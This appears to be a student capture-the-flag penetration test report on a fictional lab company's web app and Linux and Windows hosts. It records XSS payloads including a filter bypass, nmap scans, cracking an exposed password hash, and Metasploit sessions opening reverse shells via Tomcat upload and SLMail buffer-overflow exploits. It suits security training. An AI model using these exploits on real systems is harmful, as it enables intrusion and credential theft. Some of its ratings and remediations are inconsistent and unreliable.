



Cybersecurity

Penetration Test Report

Rekall Corporation

Penetration Test Report

Student Note: Complete all sections highlighted in yellow.

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Contact Information

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Contact Title	Penetration Tester

Document History

Version	Date	Author(s)	Comments
001	4/22/2025	Camron Neal	Day 1 of CTF Report
002	4/25/2025-4/26/2025	Camron Neal	Day 2 of CTF Report
003	4/26/2025-4/27/2025	Camron Neal	Day 3 of CTF Report
004	4/28/2025	Camron Neal	Final draft of CTF Report

Introduction

In accordance with Rekall policies, our organization conducts external and internal penetration tests of its networks and systems throughout the year. The purpose of this engagement was to assess the networks' and systems' security and identify potential security flaws by utilizing industry-accepted testing methodology and best practices.

For the testing, we focused on the following:

- Attempting to determine what system-level vulnerabilities could be discovered and exploited with no prior knowledge of the environment or notification to administrators.
- Attempting to exploit vulnerabilities found and access confidential information that may be stored on systems.
- Documenting and reporting on all findings.

All tests took into consideration the actual business processes implemented by the systems and their potential threats; therefore, the results of this assessment reflect a realistic picture of the actual exposure levels to online hackers. This document contains the results of that assessment.

Assessment Objective

The primary goal of this assessment was to provide an analysis of security flaws present in Rekall's web applications, networks, and systems. This assessment was conducted to identify exploitable vulnerabilities and provide actionable recommendations on how to remediate the vulnerabilities to provide a greater level of security for the environment.

We used our proven vulnerability testing methodology to assess all relevant web applications, networks, and systems in scope.

Rekall has outlined the following objectives:

Table 1: Defined Objectives

Objective
Find and exfiltrate any sensitive information within the domain.
Escalate privileges.
Compromise several machines.

Penetration Testing Methodology

Reconnaissance

We begin assessments by checking for any passive (open source) data that may assist the assessors with their tasks. If internal, the assessment team will perform active recon using tools such as Nmap and Bloodhound.

Identification of Vulnerabilities and Services

We use custom, private, and public tools such as Metasploit, hashcat, and Nmap to gain perspective of the network security from a hacker's point of view. These methods provide Rekall with an understanding of the risks that threaten its information, and also the strengths and weaknesses of the current controls protecting those systems. The results were achieved by mapping the network architecture, identifying hosts and services, enumerating network and system-level vulnerabilities, attempting to discover unexpected hosts within the environment, and eliminating false positives that might have arisen from scanning.

Vulnerability Exploitation

Our normal process is to both manually test each identified vulnerability and use automated tools to exploit these issues. Exploitation of a vulnerability is defined as any action we perform that gives us unauthorized access to the system or the sensitive data.

Reporting

Once exploitation is completed and the assessors have completed their objectives, or have done everything possible within the allotted time, the assessment team writes the report, which is the final deliverable to the customer.

Scope

Prior to any assessment activities, Rekall and the assessment team will identify targeted systems with a defined range or list of network IP addresses. The assessment team will work directly with the Rekall POC to determine which network ranges are in-scope for the scheduled assessment.

It is Rekall's responsibility to ensure that IP addresses identified as in-scope are actually controlled by Rekall and are hosted in Rekall-owned facilities (i.e., are not hosted by an external organization). In-scope and excluded IP addresses and ranges are listed below.


Executive Summary of Findings

Grading Methodology

Each finding was classified according to its severity, reflecting the risk each such vulnerability may pose to the business processes implemented by the application, based on the following criteria:

- Critical:** Immediate threat to key business processes.
- High:** Indirect threat to key business processes/threat to secondary business processes.
- Medium:** Indirect or partial threat to business processes.
- Low:** No direct threat exists; vulnerability may be leveraged with other vulnerabilities.
- Informational:** No threat; however, it is data that may be used in a future attack.

As the following grid shows, each threat is assessed in terms of both its potential impact on the business and the likelihood of exploitation:



Summary of Strengths

While the assessment team was successful in finding several vulnerabilities, the team also recognized several strengths within Rekall's environment. These positives highlight the effective countermeasures and defenses that successfully prevented, detected, or denied an attack technique or tactic from occurring.

- High-level summary of strengths here
- Latest anti-malware is being kept up to date.

Summary of Weaknesses

We successfully found several critical vulnerabilities that should be immediately addressed in order to prevent an adversary from compromising the network. These findings are not specific to a software version but are more general and systemic vulnerabilities.

- Output encoder
- HTML Sanitization
- IP Blocking
- Prevent Probes
- Update and Patch software
- Update apache struts
- User credentials being removed from websites
- Restrict public access
- Using FTPS and SFTP instead of FTP
- Close port 110
- User Permissions
- Safeguard password hashes

Executive Summary

Neal LLS was hired to complete a vulnerability test on the system of the client Rekall to find vulnerabilities within the system and to provide an assessment of the findings.

Starting from day 1, we navigated through the Totalrekall.xyz website to complete various scripts to get around the web app. These scripts were used to bypass certain access points through the website.

Day 2, we were in Linux OS and the group exposed the Totalrekall.xyz from linux using various exploits from tools from DNS lookup and certification search to nmap scanning and different exploits to gain access to different files.

Day 3, the group exploited the system with the msf6 using the command msfconsole. This exploit had different options of exploits that you could navigate through. This exploit allowed us to view different files that have root access and see where the files are located.

With all of the tools to expose the vulnerabilities such as Metasploit, Nessus and Nmap we were able to reveal what is a risk and how it should be eliminated.

Summary Vulnerability Overview

Vulnerability	Severity
Web Application Results	
Flag 1 Cross Site Scripting XSS- Welcome.php	High
Flag 2 Cross Site Scripting XSS #2- VR Planner.php	High
Flag 3 XSS Stored Vulnerability Comments	High
Flag 4 Sensitive Data Vulnerability	Low
Linux Server	
Flag1 Open Source Exposure Date	Low
Flag2 Pinging	Low
Flag3 SSL and CRT	Low
Flag4 Nmap Scan	Medium
Flag5 Aggressive Nmap Scan	High
Flag6 Nessus Scan	Critical
Flag7 Apache Struts	Critical
Windows Servers	
Flag1 Unprotected User Credentials	Low
Flag2 Nmap Scan	Medium
Flag3 FTP	Medium
Flag4 SLMail	Medium
Flag5 Task Scheduler	Medium
Flag6 Password Hash- Kiwi	Critical
Flag7 Sensitive Data Exposure	Critical


The following summary tables represent an overview of the assessment findings for this penetration test:

Scan Type	Total
Hosts	Totalrekall.xyz 192.168.13.10 192.168.13.11 192.168.13.12 192.168.13.14 192.168.13.1 192.168.13.13 172.22.117.20
Ports	Linux 110 4444


	Windows 21 25 53 80 110
--	--

Exploitation Risk	Total
Critical	4
High	4
Medium	5
Low	5


Vulnerability Findings Day 1

Vulnerability 1	Findings
Title	Cross Site Scripting XSS
Type (Web app / Linux OS / Windows OS)	Web App
Risk Rating	Critical
Description	As I navigated to the website 192.168.14.35, I went to the welcome page and in “entering your name below” I entered the reflected XSS as <script>alert(hi hacker)</script>. This script tells the browser “this is JavaScript” with a pop up message box.
Images	
Affected Hosts	Welcome.php

Remediation	Output Encoder
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Vulnerability 2	Findings
Title	Cross Site Scripting XSS #2
Type (Web app / Linux OS / Windows OS)	Web App
Risk Rating	Critical
Description	As I continued to navigate through totalrekall.xyz I went to the VR Planner page. From there I entered the script <code><SCRIPscriptT>alert("hi")</SCRIPscripTt></code> . This script can bypass the WAF(Web Application Firewalls) which tricks the web app.
Images	
Affected Hosts	VR planner.php
Remediation	HTML Sanitization

Vulnerability 3	Findings
------------------------	-----------------


Title	XSS stored vulnerability-Comments
Type (Web app / Linux OS / Windows OS)	Web App
Risk Rating	High
Description	As i navigated from the welcome page and clicked on Leave a comment, i used the script <script>alert("hello")</script>
Images	
Affected Hosts	Totalrekall.xyz
Remediation	Keep employees updated and trained on identifying phishing emails

Vulnerability 4	Findings
Title	Sensitive Data Vulnerability
Type (Web app / Linux OS / Windows OS)	Web App
Risk Rating	Low
Description	In the Linux command line I ran the command curl -v http://192.168.14.35/About-Rekall.php to allow the HTTP to request from the command, show detailed information about the connection process, and to attach the URL that's being requested.

Images	 <pre> (root@kali)-[~] # curl -v http://192.168.14.35/About-Rekall.php * Trying 192.168.14.35:80 ... * Connected to 192.168.14.35 (192.168.14.35) port 80 (#0) > GET /About-Rekall.php HTTP/1.1 > Host: 192.168.14.35 > User-Agent: curl/7.81.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Wed, 12 Apr 2023 17:28:14 GMT < Server: Apache/2.4.7 (Ubuntu) < X-Powered-By: Flag 4 nckd97dk6sh2 < Set-Cookie: PHPSESSID=288fhn7bnd2bsmssrfr776ec94; path=/ < Expires: Thu, 19 Nov 1981 08:52:00 GMT < Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 < Pragma: no-cache < Vary: Accept-Encoding < Content-Length: 7873 < Content-Type: text/html < </pre>
Affected Hosts	About-Rekall.php
Remediation	Comments in curl output cannot be removed


Vulnerability Findings Day 2

Vulnerability 1	Findings
Title	Open Source Exposed Data
Type (Web app / Linux OS / Windows OS)	Web App
Risk Rating	High
Description	<p>From the https://osintframework.com/ i navigated through Domain Name, WhoIS Records, and lastly to Domain Dossier. From there it took me to the Domain Dossier and I searched totalrekall.xyz in the domain search and I scanned through until I saw Flag 1.</p>


<p>Images</p>	 <p>Domain Dossier Investigate domains and IP addresses</p> <p>domain or IP address <input type="text" value="totalrekall.xyz"/></p> <p><input checked="" type="checkbox"/> domain whois record <input type="checkbox"/> DNS records <input type="checkbox"/> traceroute</p> <p><input type="checkbox"/> network whois record <input type="checkbox"/> service scan <input type="button" value="go"/></p> <p>user: anonymous [75.177.17.231] balance: 49 units log in account info</p> <p><i>CentralOps.net</i></p> <p>Registrant Organization: Registrant Street: h8s692hskasd Flag1 Registrant City: Atlanta Registrant State/Province: Georgia Registrant Postal Code: 30309 Registrant Country: US Registrant Phone: +1.7702229999</p>
Affected Hosts	totalrekall.xyz
Remediation	Remove sensitive data from the server


Vulnerability 2	Findings
Title	Pinging
Type (Web app / Linux OS / Windows OS)	Linux OS
Risk Rating	Low
Description	From Kali, I ran the command nslookup totalrekall.xyz to see the ip address of the website totalrekall.xyz. From there I ran the command nslookup -type=TXT totalrekall.xyz. This command started a DNS lookup to specifically look for TXT

	records on the domain totalrekall.xyz and it gave me the flag 2.
Images	 <pre> (root@kali)~# nslookup totalrekall.xyz Server: 8.8.8.8 Address: 8.8.8.8#53 Non-authoritative answer: Name: totalrekall.xyz Address: 76.223.105.230 Name: totalrekall.xyz Address: 13.278.243.5 (root@kali)~# nslookup -type=TXT totalrekall.xyz Server: 8.8.8.8 Address: 8.8.8.8#53 Non-authoritative answer: totalrekall.xyz text = "flag2 is 7sk67cjsdbs" Authoritative answers can be found from: (root@kali)~# </pre>
Affected Hosts	totalrekall.xyz
Remediation	Try to hide the ip address

Vulnerability 3	Findings
Title	SSL and CRT
Type (Web app / Linux OS / Windows OS)	Web App
Risk Rating	Medium
Description	I navigated to crt.sh which is an open source site. i searched totalrekall to get the criteria information and among the information i found flag 3 under Common Name and Matching Identities.
Images	 <p>crt.sh Certificate Search</p> <p>Enter an Identity (Domain Name, Organization Name, etc), a Certificate Fingerprint (SHA-1 or SHA-256) or a crt.sh ID:</p> <p>totalrekall.xyz</p>

	<table><tr><td>9436388643</td><td>2023-05-20</td><td>2023-05-20</td><td>2024-05-20</td><td>www.totalrekall.xyz</td></tr><tr><td>9424423941</td><td>2023-05-18</td><td>2023-05-18</td><td>2024-05-18</td><td>totalrekall.xyz</td></tr><tr><td>6095738637</td><td>2022-02-02</td><td>2022-02-02</td><td>2022-05-03</td><td>flag3-s7euwehd.totalrekall.xyz</td></tr><tr><td>6095738716</td><td>2022-02-02</td><td>2022-02-02</td><td>2022-05-03</td><td>flag3-s7euwehd.totalrekall.xyz</td></tr><tr><td>6095204253</td><td>2022-02-02</td><td>2022-02-02</td><td>2022-05-03</td><td>totalrekall.xyz</td></tr><tr><td>6095204153</td><td>2022-02-02</td><td>2022-02-02</td><td>2022-05-03</td><td>totalrekall.xyz</td></tr></table>	9436388643	2023-05-20	2023-05-20	2024-05-20	www.totalrekall.xyz	9424423941	2023-05-18	2023-05-18	2024-05-18	totalrekall.xyz	6095738637	2022-02-02	2022-02-02	2022-05-03	flag3-s7euwehd.totalrekall.xyz	6095738716	2022-02-02	2022-02-02	2022-05-03	flag3-s7euwehd.totalrekall.xyz	6095204253	2022-02-02	2022-02-02	2022-05-03	totalrekall.xyz	6095204153	2022-02-02	2022-02-02	2022-05-03	totalrekall.xyz
9436388643	2023-05-20	2023-05-20	2024-05-20	www.totalrekall.xyz																											
9424423941	2023-05-18	2023-05-18	2024-05-18	totalrekall.xyz																											
6095738637	2022-02-02	2022-02-02	2022-05-03	flag3-s7euwehd.totalrekall.xyz																											
6095738716	2022-02-02	2022-02-02	2022-05-03	flag3-s7euwehd.totalrekall.xyz																											
6095204253	2022-02-02	2022-02-02	2022-05-03	totalrekall.xyz																											
6095204153	2022-02-02	2022-02-02	2022-05-03	totalrekall.xyz																											
Affected Hosts	totalrekall.xyz																														
Remediation	Limit the publication of the DNS records																														

Vulnerability 4	Findings
Title	Nmap Scan
Type (Web app / Linux OS / Windows OS)	Linux OS
Risk Rating	Critical
Description	In Kali I ran a nmap scan using the command nmap -sn 192.168.13.0/24 to see a network ping scan on the targeted network range. 6 hosts were scanned so without including the host that ran the initial scan I received 5 hosts which came to be flag 4.
Images	 <pre> (root@kali)~[~] # nmap -sn 192.168.13.0/24 Starting Nmap 7.92 (https://nmap.org) at 2025-04-25 23:45 EDT Nmap scan report for 192.168.13.10 Host is up (0.000010s latency). MAC Address: 02:42:C0:A8:0D:0A (Unknown) Nmap scan report for 192.168.13.11 Host is up (0.000010s latency). MAC Address: 02:42:C0:A8:0D:0B (Unknown) Nmap scan report for 192.168.13.12 Host is up (0.000013s latency). MAC Address: 02:42:C0:A8:0D:0C (Unknown) Nmap scan report for 192.168.13.13 Host is up (0.000022s latency). MAC Address: 02:42:C0:A8:0D:0D (Unknown) Nmap scan report for 192.168.13.14 Host is up (0.000029s latency). MAC Address: 02:42:C0:A8:0D:0E (Unknown) Nmap scan report for 192.168.13.1 Host is up. Nmap done: 256 IP addresses (6 hosts up) scanned in 15.13 seconds </pre>
Affected Hosts	192.168.13.10, 192.168.13.11, 192.168.13.12, 192.168.13.14, 192.168.13.1
Remediation	IP blocking for unauthorized users

Vulnerability 5	Findings
Title	Aggressive Nmap Scan
Type (Web app / Linux OS / Windows OS)	Linux OS
Risk Rating	Critical
Description	I ran the command nmap -A 192.168.13.0/24 which is an aggressive scan and it obtained detailed scans of the hosts. 192.168.13.13 came back as the Drupal host which is flag 5.
Images	 <pre> (rootkali)-[~] # nmap -A 192.168.13.0/24 Starting Nmap 7.92 (https://nmap.org Nmap scan report for 192.168.13.10 Host is up (0.000045s latency). Not shown: 998 closed tcp ports (rese PORT STATE SERVICE VERSION ... Nmap scan report for 192.168.13.13 Host is up (0.000080s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.25 _http-server-header: Apache/2.4.25 (Debian) _http-generator: Drupal 8 (https://www.drupal.org) _http-robots.txt: 22 disallowed entries (15 shown) /core/ /profiles/ /README.txt /web.config /admin/ /comment/reply/ /filter/tips /node/add/ /search/ /user/register/ /user/password/ /user/login/ /user/logout/ /index.php/admin/ _index.php/comment/reply/ _http-title: Home Drupal CVE-2019-6340 </pre>
Affected Hosts	192.168.13.13
Remediation	Prevent Probes

Vulnerability 6	Findings
Title	Nessus Scan
Type (Web app / Linux OS / WIndows OS)	Web OS
Risk Rating	Medium

Description	<p>I navigated to the website kali:8864 for a Nessus scan. I went to create a scan with a basic network scan and used 192.168.13.12 as the targeted host to look up. After the scan was complete I navigated to the vulnerabilities tab to view the server that's critical and found the ID which is flag 6.</p>				
Images	<div data-bbox="446 315 1421 961"> <div> <div>Name</div> <div>192.168.13.12</div> </div> <div> <div>Description</div> <div></div> </div> <div> <div>Folder</div> <div>My Scans</div> </div> <div> <div>Targets</div> <div>192.168.13.12</div> </div> <div> <div>Upload Targets</div> <div>Add File</div> </div> </div> <div data-bbox="446 982 1421 1222"> <div> <div>Hosts</div> <div>1</div> </div> <div> <div>Vulnerabilities</div> <div>15</div> </div> <div> <div>Notes</div> <div>1</div> </div> <div> <div>VPR Top Threats</div> <div></div> </div> <div> <div>History</div> <div>1</div> </div> <div> <div>Filter</div> <div>Search Hosts</div> <div>1 Host</div> </div> <table> <thead> <tr> <th>Host</th> <th>Vulnerabilities</th> </tr> </thead> <tbody> <tr> <td>192.168.13.12</td> <td> <div>1</div> <div>1</div> <div></div> </td> </tr> </tbody> </table> </div> <div data-bbox="552 1375 742 1411"> Plugin Details </div> <div data-bbox="548 1449 1005 1759"> <div>Severity: Critical</div> <div>ID: 97610</div> <div>Version: 1.24</div> <div>Type: remote</div> <div>Family: CGI abuses</div> <div>Published: March 8, 2017</div> <div>Modified: November 30, 2021</div> </div> <div data-bbox="548 1835 779 1869"> Risk Information </div>	Host	Vulnerabilities	192.168.13.12	<div>1</div> <div>1</div> <div></div>
Host	Vulnerabilities				
192.168.13.12	<div>1</div> <div>1</div> <div></div>				
Affected Hosts	192.168.13.12				

Remediation	Update and patch software on a regular basis. Always monitor for new vulnerabilities
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Vulnerability 7	Findings
Title	Apache Struts
Type (Web app / Linux OS / Windows OS)	Linux OS
Risk Rating	Critical
Description	In kali i ran the command msfconsole to get into msf6. Next I ran the command search apache tomcat rce to look for the exploit I needed to run. Once it ran option 6 was the exploit I needed so I ran the command use 6 and it put me into the exploit. Next I set the RHOST to 192.168.13.10. I used this ip from the aggressive nmap scan that was ran from the flag before. After setting the RHOSTS i used the command run to connect. Next I ran the command ls -l to get the list in the directory to see if I saw any indication of a flag. Next i ran the command find / -type f -iname "*flag*" to search the files for any files with flags in them. After successfully locating some files with flags in them I used the command cd /root to change to the root directory then I used the command cat .flag7.txt to reveal the flag.
Images	 <pre> msf6 > search apache tomcat rce Matching Modules ===== # Name - - 0 exploit/multi/http/struts_dev_mode OGNL Execution 1 exploit/multi/http/struts_code_exec_classloader pulation Remote Code Execution 2 exploit/windows/http/tomcat_cgi_cmdlineargs eCmdLineArguments Vulnerability 3 exploit/windows/http/cayin_xpost_sql_rce Li to RCE 4 exploit/linux/http/cpi_tararchive_upload lth Monitor TarArchive Directory Traversal Vulnerability 5 exploit/linux/http/cisco_prime_inf_rce uthenticated Remote Code Execution 6 exploit/multi/http/tomcat_jsp_upload_bypass ss ndToBBE InternalNioOutputBuffer (java:197) Interact with a module by name or index. For example info 6, use 6 or r </pre>

```

Nmap scan report for 192.168.13.10
Host is up (0.000052s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
8009/tcp   open  ajp13   Apache Jserv (Protocol v1.3.4)
|_ajp-methods: Failed to get a valid response from 192.168.13.10:8009
8080/tcp   open  http    Apache Tomcat/Coyote JSP Engine (Apache/2.5.0 (Ubuntu))
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/8.5.0
|_http-favicon: Apache Tomcat
MAC Address: 02:42:C0:A8:0D:0A (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop

```

```

msf6 > use 6
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(multi/http/tomcat_jsp_upload_bypass) > set RHOSTS 192.168.13.10
RHOSTS => 192.168.13.10
msf6 exploit(multi/http/tomcat_jsp_upload_bypass) > run

[*] Started reverse TCP handler on 172.24.0.124:4444
[*] Uploading payload...
[*] Payload executed!
[*] Command shell session 1 opened (172.24.0.124:4444 => 192.168.13.10:41164 ) at

```

```

[*] Output buffer downloaded internally

```

```

ls -l
total 120
-rw-r--r-- 1 root root 57092 Mar 17 2016 LICENSE
-rw-r--r-- 1 root root 1804 Mar 17 2016 NOTICE
-rw-r--r-- 1 root root 6735 Mar 17 2016 RELEASE-NOTES
-rw-r--r-- 1 root root 15946 Mar 17 2016 RUNNING.txt
drwxr-xr-x 2 root root 4096 May 5 2016 bin
drwx--S--- 1 root root 4096 Apr 27 02:14 conf
drwxr-sr-x 3 root staff 4096 May 5 2016 include
drwxr-xr-x 2 root root 4096 May 5 2016 lib
drwxr-xr-x 1 root root 4096 Apr 27 02:14 logs
drwxr-xr-x 2 root root 4096 May 5 2016 temp
drwxr-xr-x 1 root root 4096 Mar 17 2016 webapps
drwxr-xr-x 1 root root 4096 Apr 27 02:14 work

```


	<pre># find / -type f -iname "*flag*" find / -type f -iname "*flag*" /root/.flag7.txt /sys/devices/platform/serial8250/tty/ttyS2/flags /sys/devices/platform/serial8250/tty/ttyS0/flags /sys/devices/platform/serial8250/tty/ttyS3/flags /sys/devices/platform/serial8250/tty/ttyS1/flags /sys/devices/virtual/net/lo/flags /sys/devices/virtual/net/eth0/flags /sys/module/scsi_mod/parameters/default_dev_flags /proc/sys/kernel/acpi_video_flags /proc/sys/kernel/sched_domain/cpu0/domain0/flags /proc/sys/kernel/sched_domain/cpu1/domain0/flags /proc/kpageflags # cd /root cd /root # cat .flag7.txt cat .flag7.txt 8ks6sbhss #</pre>
Affected Hosts	192.168.13.10
Remediation	Update apache struts


Vulnerability Findings Day 3

Vulnerability 1	Findings
Title	Unprotected User Credentials
Type (Web app / Linux OS / Windows OS)	Web App
Risk Rating	Critical

Description	<p>First i went to the totalrekall page of github by going to https://github.com/totalrekall/site went under xampp.users where it shows the username and a undecoded hash text. I then downloaded that as a text file to the desktop of the VM. I turned to kali and navigated to my desktop using command <code>cd /Desktop</code>, performed <code>ls</code> to make sure the text file showed, then I used the command <code>john xampp.users</code> and it gave me the password Tanya4life which is Flag 1.</p>
Images	<div><div><div>site / xampp.users</div><div><div>totalrekall</div>Added site backup files</div><div><div>Code</div><div>Blame</div><div>1 lines (1 loc) · 46 Bytes</div></div><div><div>1</div><div>trivera:\$apr1\$A0vSKwao\$GV3sgGAj53j.c3GkS4oUC0</div></div></div><div><pre>(root@kali)~[~/Desktop] # ls xampp.users (root@kali)~[~/Desktop] # john xampp.users Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) \$1\$ (and variants) [MD5 512/512 AVX512BW 16x3]) Will run 2 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst Tanya4life (trivera) 1g 0:00:00:00 DONE 2/3 (2025-04-25 08:35) 9.090g/s 11400p/s 11400c/s 11400C/s 123456..jake Use the "--show" option to display all of the cracked passwords reliably Session completed. (root@kali)~[~/Desktop] #</pre></div></div>
Affected Hosts	TotalRekall Website
Remediation	User credential needs to be removed from the github website

Vulnerability 2	Findings
Title	Nmap Scan
Type (Web app / Linux OS / Windows OS)	Windows OS
Risk Rating	Critical

Description	I ran the command nmap 172.22.117.0/24 and it gave me 172.22.117.20 for the http and https as the ports are open. I opened a browser and went to 172.22.117.20 where it prompted me to login and I used the login credentials I found from Flag 1 and it gave me Flag 2.
Images	<div><pre>(root@kali)~# nmap 172.22.117.0/24 Starting Nmap 7.92 (https://nmap.org) at 2025-04-22 21:32 EDT Nmap scan report for WinDC01 (172.22.117.10) Host is up (0.00018s latency). Not shown: 989 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl MAC Address: 00:15:5D:00:04:01 (Microsoft) Nmap scan report for Windows10 (172.22.117.20) Host is up (0.00020s latency). Not shown: 990 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 25/tcp open smtp 79/tcp open finger 80/tcp open http 106/tcp open pop3pw 110/tcp open pop3 135/tcp open msrpc 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds MAC Address: 00:15:5D:00:04:02 (Microsoft)</pre></div> <div></div>

	
Affected Hosts	172.22.117.20
Remediation	Restrict public access to credentials and enforce two-factor authentication

Vulnerability 3	Findings
Title	FTP
Type (Web app / Linux OS / Windows OS)	Windows OS
Risk Rating	High
Description	<p>I ran the command ftp 172.22.117.20 to connect to the ftp server, It then asked for a username and password and per the internet for the username you can use anonymous and the password you can leave blank. From there I ran the ls command to see what was listed. It shows flag3 in txt form and used the command get Flag3.txt. I then exit from the ftp server so I can use the command cat Flag3.txt to get the next flag.</p>

<p>Images</p>	<pre>(root@kali)~# ftp 172.22.117.20 Connected to 172.22.117.20. 220-FileZilla Server version 0.9.41 beta 220-written by Tim Kosse (Tim.Kosse@gmx.de) 220 Please visit http://sourceforge.net/projects/filezilla/ Name (172.22.117.20:root): anonymous 331 Password required for anonymous Password: 230 Logged on Remote system type is UNIX. ftp> ls 200 Port command successful 150 Opening data channel for directory list. -r--r--r-- 1 ftp ftp 32 Feb 15 2022 flag3.txt 226 Transfer OK ftp> cat Flag3.txt ?Invalid command ftp> get Flag3.txt local: Flag3.txt remote: Flag3.txt 200 Port command successful 150 Opening data channel for file transfer. 226 Transfer OK 32 bytes received in 0.00 secs (152.4390 kB/s) ftp> ^Z zsh: suspended ftp 172.22.117.20 (root@kali)~# ls Desktop Documents file2 Flag3.txt LinEnum.sh Pictures Scripts Videos dirb_results.txt Downloads file3 idleapp Music Public Templates</pre> <pre>(root@kali)~# cat Flag3.txt 89cb548970d44f348bb63622353ae278 (root@kali)~#</pre>
<p>Affected Hosts</p>	<p>172.22.117.20</p>
<p>Remediation</p>	<p>Using FTPS or SFTP instead of FTP, as they offer enhanced security. FTP is susceptible to threats such as sniffing, spoofing, and brute force attacks.</p>

Vulnerability 4	Findings
<p>Title</p>	<p>SLMail</p>
<p>Type (Web app / Linux OS / Windows OS)</p>	<p>Windows OS</p>
<p>Risk Rating</p>	<p>Medium</p>
<p>Description</p>	<p>I started off by running the command nmap -A 172.22.117.20 to see the open ports that can be exploited. I then found per an internet search that port 110 that's open is known as a buffer overflow vulnerability. From there I ran msfconsole to get into the metasploit framework. The next command was search smail to bring up the exploit i will be using then I ran the command use</p>

0 to default to windows/meterpreter/reverse_tcp so once I'm done configuring the system I can run it into meterpreter. I then ran the options command to see what my LHOST and RHOSTS were set to the correct ip addresses. As they were both not set correctly I ran the command set LHOST 172.22.117.100 because thats the ip address of the attacking machine and ran the command set RHOSTS to 172.22.117.20 as this is the ip address of the target machine. I then ran the command run so the machine would configure and put me into the meterpreter. I then ran the command ls to see the files and the first file contained flag 4 in txt form so I ran command cat flag4.txt to see the flag inside of the file.

Images



```
(root@kali) [~]
# nmap -A 172.22.117.20
Starting Nmap 7.92 ( https://nmap.org ) at 2025-04-25 09:07 EDT
Nmap scan report for Windows10 (172.22.117.20)
Host is up (0.00042s latency).
Not shown: 990 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            FileZilla ftpd 0.9.41 beta
|_ ftp-syst:
|_ SYST: UNIX emulated by FileZilla
|_ ftp-bounce: bounce working!
|_ ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ -r--r--r-- 1 ftp ftp          32 Feb 15 2022 flag3.txt
25/tcp    open  smtp           SLmail smtpd 5.5.0.4433
|_ smtp-command: rekall.local, SIZE 100000000, SEND, SOML, SAML, HELP, VRFY, EXPN,
|_ This server supports the following commands. HELO MAIL RCPT DATA RSET SEND SOML
79/tcp    open  finger         SLmail fingerd
|_ finger: Finger online user list request denied.\x0D
80/tcp    open  http           Apache httpd 2.4.52 (OpenSSL/1.1.1m PHP/8.1.2)
|_ http-title: 401 Unauthorized
|_ http-auth:
|_ HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Restricted Content
|_ http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.2
106/tcp   open  pop3pw         SLmail pop3pw
110/tcp   open  pop3           BVRP Software SLMAIL pop3d
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  ssl/http       Apache httpd 2.4.52 (OpenSSL/1.1.1m PHP/8.1.2)
```




```
(root@kali)-[~]
# msfconsole
```



```
msf6 > search stmail
Matching Modules
-----
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/windows/pop3/seattlelab_pass  2003-05-07      great No      Seattle Lab Mail 5.5 POP3 Buffer Overflow
from the lab, we don't need to recover and the
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/pop3/seattlelab_pass
msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/pop3/seattlelab_pass) >
```

	<pre> msf6 > use 0 [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp msf6 exploit(windows/pop3/seattlelab_pass) > options Module options (exploit/windows/pop3/seattlelab_pass): Name Current Setting Required Description --- - RHOSTS 172.22.117.100 yes The target host(s), see https://git g-Metasploit RPORT 110 yes The target port (TCP) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description --- - EXITFUNC thread yes Exit technique (Accepted: '', seh LHOST 172.24.0.124 yes The listen address (an interface LPORT 4444 yes The listen port msf6 exploit(windows/pop3/seattlelab_pass) > set LHOST 172.22.117.100 LHOST => 172.22.117.100 msf6 exploit(windows/pop3/seattlelab_pass) > set RHOSTS 172.22.117.20 RHOSTS => 172.22.117.20 msf6 exploit(windows/pop3/seattlelab_pass) > run meterpreter > ls Listing: C:\Program Files (x86)\SLmail\System Mode Size Type Last modified Name ----- 100666/rw-rw-rw- 32 fil 2022-03-21 11:59:51 -0400 flag4.txt 100666/rw-rw-rw- 3358 fil 2002-11-19 13:40:14 -0500 listrcrd.txt 100666/rw-rw-rw- 1840 fil 2022-03-17 11:22:48 -0400 maillog.000 meterpreter > cat flag4.txt 822e3434a10440ad9cc086197819b49d meterpreter > </pre>
Affected Hosts	172.22.117.20
Remediation	Close port 110

Vulnerability 5	Findings
Title	Task Scheduler
Type (Web app / Linux OS / Windows OS)	Windows OS
Risk Rating	Medium
Description	<p>Staying in the meterpreter from flag 4 I ran the command shell to access the schtasks command. I then ran the command schtasks /query to see all the scheduled tasks. This can be used to see if malware has installed a hidden schedule task. I then ran the command schtasks /query /tn "flag5" /fo LIST /v to search for all flag 5 specifications within the scheduled tasks. From there flag5</p>




	was revealed within the comment.
